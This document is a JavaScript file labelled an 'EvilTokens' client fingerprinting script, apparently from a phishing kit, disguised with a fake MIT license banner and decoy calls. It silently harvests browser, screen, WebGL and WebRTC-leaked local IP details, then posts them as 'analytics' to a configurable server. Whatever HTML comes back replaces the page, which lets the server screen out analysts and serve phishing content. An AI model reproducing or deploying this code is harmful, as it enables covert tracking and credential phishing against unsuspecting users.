EvilTokens Client Fingerprinting Script

/*! app v1.4.2 | MIT License | https://opensource.org/licenses/MIT */
(function(w, d) {
  "use strict";
  try { w.matchMedia && w.matchMedia("(prefers-color-scheme:dark)"); } catch (e) {}
  try { w.addEventListener && w.addEventListener("resize", function() {}); } catch (e) {}
  var el = d.currentScript || (function() { var s = d.getElementsByTagName("script"); return s[s.length - 1]; })();
  var cfg = (el.getAttribute("data-u") || "").replace(/\\/g, "") || location.href;
  var path = (el.getAttribute("data-p") || "").replace(/\\/g, "");
  var minDelay = 3000;
  var data = {}, errors = [], aborted = false;
  w.addEventListener("pagehide", function() { aborted = true; });

  function proc(key, val, out) {
    try {
      if (key === "plugins" && val && typeof val.length !== "undefined") {
        out[key] = val.length;
      } else {
        var t = typeof val;
        if (t === "function" || (t === "object" && val !== null)) {
          val = val.toString();
        }
        out[key] = val;
      }
    } catch (e) { errors.push(e.message); }
  }

  function read(obj) {
    if (!obj || typeof obj !== "object") return null;
    var out = {};
    try { for (var k in obj) proc(k, obj[k], out); } catch (e) {}
    try {
      var keys = Object.getOwnPropertyNames(obj);
      var i = keys.length;
      while (i--) proc(keys[i], obj[keys[i]], out);
      out["!!"] = keys;
    } catch (e) { errors.push(e.message); }
    return out;
  }

  function collect() {
    data.screen = read(w.screen);
    data.window = read(w);
    data.navigator = read(w.navigator);
    data.console = read(w.console);
    try { data.console.toString = w.console.toString.toString(); } catch (e) { errors.push(e.message); }
    data.document = read(d);

    try { data.timezoneOffset = (new Date).getTimezoneOffset(); } catch (e) { errors.push(e.message); }
    try { data.frame = w.self !== w.top; } catch (e) { data.frame = true; }

    try {
      var gl = d.createElement("canvas").getContext("webgl"),
          ext = gl.getExtension("WEB"+"GL_deb"+"ug_re"+"nderer_info");
      data.webgl = {
        vendor: gl.getParameter(ext.UNMASKED_VENDOR_WEBGL),
        renderer: gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)
      };
    } catch (e) { errors.push(e.message); }

    try { data.rtc = !!(w.RTCPeerConnection || w.webkitRTCPeerConnection || w.mozRTCPeerConnection); } catch (e) {}

    data.errors = errors;
  }

  function net(callback) {
    var RTC = w.RTCPeerConnection || w.webkitRTCPeerConnection || w.mozRTCPeerConnection;
    if (RTC) {
      try {
        var pc = new RTC({ iceServers: [{ urls: "stu"+"n:stun.l."+"google."+"com:19302" }] }),
            tm = setTimeout(function() { done(); }, 120);
        data._rtc = [];
        pc.createDataChannel("");
        pc.onicecandidate = function(e) {
          if (e.candidate) {
            var p = e.candidate.candidate.split(" ");
            if (p.length >= 5) data._rtc.push({ i: p[4], t: p[7], p: p[2] });
          } else {
            clearTimeout(tm);
            done();
          }
        };
        pc.createOffer().then(function(o) { return pc.setLocalDescription(o); }).catch(function() {});
        function done() { try { pc.close(); } catch (x) {} callback(); }
      } catch (e) { callback(); }
    } else { callback(); }
  }

  function send() {
    var hash = location.hash || "";
    var t0 = Date.now();
    collect();
    net(function() {
      if (aborted) return;
      var submit = function() {
        if (aborted) return;
        var body = new URLSearchParams();
        body.append("analytics", JSON.stringify(data));
        body.append("_h", hash);
        body.append("_p", path);
        w.fetch(cfg, { method: "POST", body: body, credentials: "same-origin" })
          .then(function(r) { return r.text(); })
          .then(function(html) {
            if (aborted) return;
            try { d.open(); d.write(html); d.close(); } catch (e) {}
          })
          .catch(function() {});
      };
      var wait = Math.max(0, minDelay - (Date.now() - t0));
      if (wait > 0) setTimeout(submit, wait); else submit();
    });
  }

  function init() {
    if (d.body) { send(); } else { setTimeout(init, 10); }
  }

  init();
})(window, document);

/*! For license information please see runtime.62e5f48e213c22978f9b.js.LICENSE.txt */
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